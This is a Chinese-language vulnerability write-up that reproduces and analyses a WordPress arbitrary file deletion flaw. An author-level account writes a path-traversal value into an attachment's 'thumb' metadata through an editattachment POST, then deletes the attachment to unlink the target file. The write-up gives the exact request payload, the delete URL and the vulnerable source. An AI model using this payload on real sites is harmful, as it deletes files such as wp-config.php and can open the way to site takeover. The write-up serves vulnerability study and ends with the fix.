前言
从 3.7.0 版本开始, WordPress 在用户登录时,会在后台对小版本的改变进行更新,这样不利于我们分析代码。我们可以通过将 AUTOMATIC_UPDATER_DISABLED 设置成 true ,来禁止 WordPress 后台自动更新(在 wp-config.php 文件开头添加 define('AUTOMATIC_UPDATER_DISABLED', true); 即可)。
漏洞复现
先在自己目录下面简单建一个文件,方便测试。WordPress中如果把wp-config.php
文件删除系统会重装的。
我们需要一个角色,最低是一个作者。
然后用test用户登录,如下图操作。再点编辑。
然后我们在F12里面搜索_wpnonce
找到这两个东西
<input type="hidden" id="_wpnonce" name="_wpnonce" value="09a8cc3a73">
<a class="submitdelete deletion" onclick="return showNotice.warn();" href="http://localhost/dmsj/wordpress49/wp-admin/post.php?post=6&action=delete&_wpnonce=004d81ba04">永久删除</a>
然后点击更新然后抓包到Repeater
<input type="hidden" id="_wpnonce" name="_wpnonce" value="09a8cc3a73">
// 将POST包替换为如下 其中post_ID对应你URL对应的POST
// thumb对应删除文件 _wpnonce对应上面的value
POST值
action=editattachment&_wpnonce=09a8cc3a73&post_ID=6&thumb=../../../../test.txt
这样子是证明写入数据库了,报错就说明失败了。我们查看wp_postmeta发现成功写入
然后我们第二步
_wpnonce=004d81ba04">永久删除</a>
// GET请求下面URL _wpnonce对应上面的值
/wp-admin/post.php?post=6&action=delete&_wpnonce=004d81ba04
然后我们的文件以及被删除
漏洞分析
倒着来分析吧,首先直接定位wp-admin/post.php文件246行
case 'delete':
check_admin_referer('delete-post_' . $post_id);
if ( ! $post )
wp_die( __( 'This item has already been deleted.' ) );
if ( ! $post_type_object )
wp_die( __( 'Invalid post type.' ) );
if ( ! current_user_can( 'delete_post', $post_id ) )
wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );
if ( $post->post_type == 'attachment' ) {
$force = ( ! MEDIA_TRASH );
if ( ! wp_delete_attachment( $post_id, $force ) )
wp_die( __( 'Error in deleting.' ) );
} else {
if ( ! wp_delete_post( $post_id, true ) )
wp_die( __( 'Error in deleting.' ) );
}
wp_redirect( add_query_arg('deleted', 1, $sendback) );
exit();
由于我们删除的是图片附件,所以程序会进入wp_delete_attachment
函数。wp-include/post.php。截取关键部分5002行
if ( ! empty($meta['thumb']) ) { //5002行
if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb-=>esc_like($meta['thumb'] ) . '%', $post_id)) ) {
$thumbfile = str_replace(basename($file), $meta['thumb'], $file);
$thumbfile = apply_filters( 'wp_delete_file', $thumbfile );
@ unlink( path_join($uploadpath['basedir'], $thumbfile) );
}
}
然而$meta['thumb']
可控并且没有任何过滤。从数据库中带出来【为什么从数据库带出来呢】
在/wp-admin/post.php文件中,也就是我们第一步POST传入的值。直接带进去的更新我们的图片文件。
case 'editattachment': //178行
check_admin_referer('update-post_' . $post_id);
// Don't let these be changed
unset($_POST['guid']);
$_POST['post_type'] = 'attachment';
// Update the thumbnail filename
$newmeta = wp_get_attachment_metadata( $post_id, true );
$newmeta['thumb'] = $_POST['thumb'];
wp_update_attachment_metadata( $post_id, $newmeta );
漏洞修复
过滤$_POST['thumb']